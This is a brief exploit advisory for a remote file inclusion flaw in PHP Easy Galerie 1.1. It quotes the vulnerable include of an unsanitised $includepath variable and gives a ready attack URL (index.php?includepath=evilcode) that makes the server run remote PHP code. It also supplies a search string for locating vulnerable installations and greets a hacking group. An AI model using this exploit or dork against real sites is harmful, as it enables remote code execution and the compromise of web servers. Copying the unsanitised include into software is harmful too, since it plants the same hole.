powerInclude.txt

`Vendor: Power-Place   
www.power-place.net  
(PHP Easy Galerie 1.1)  
-------------------------------------------------  
Author:Craziest  
Contact: craziest(at)gmail(dot)com  
Vuln discovered by BrEakerS  
--------------------------------------------------  
Method:An attacker can exploit this issue to include   
an arbitrary remote file containing malicious PHP code and execute   
it in the context of the webserver process by  
source:  
if(isset($includepath)){  
include ("$includepath");  
  
http://[url]/gallerypath/index.php?includepath=evilcode  
  
Search:"Power-Place 2003/2004"  
--------------------------------------------------------  
Greets:Rootshell Security Group  
`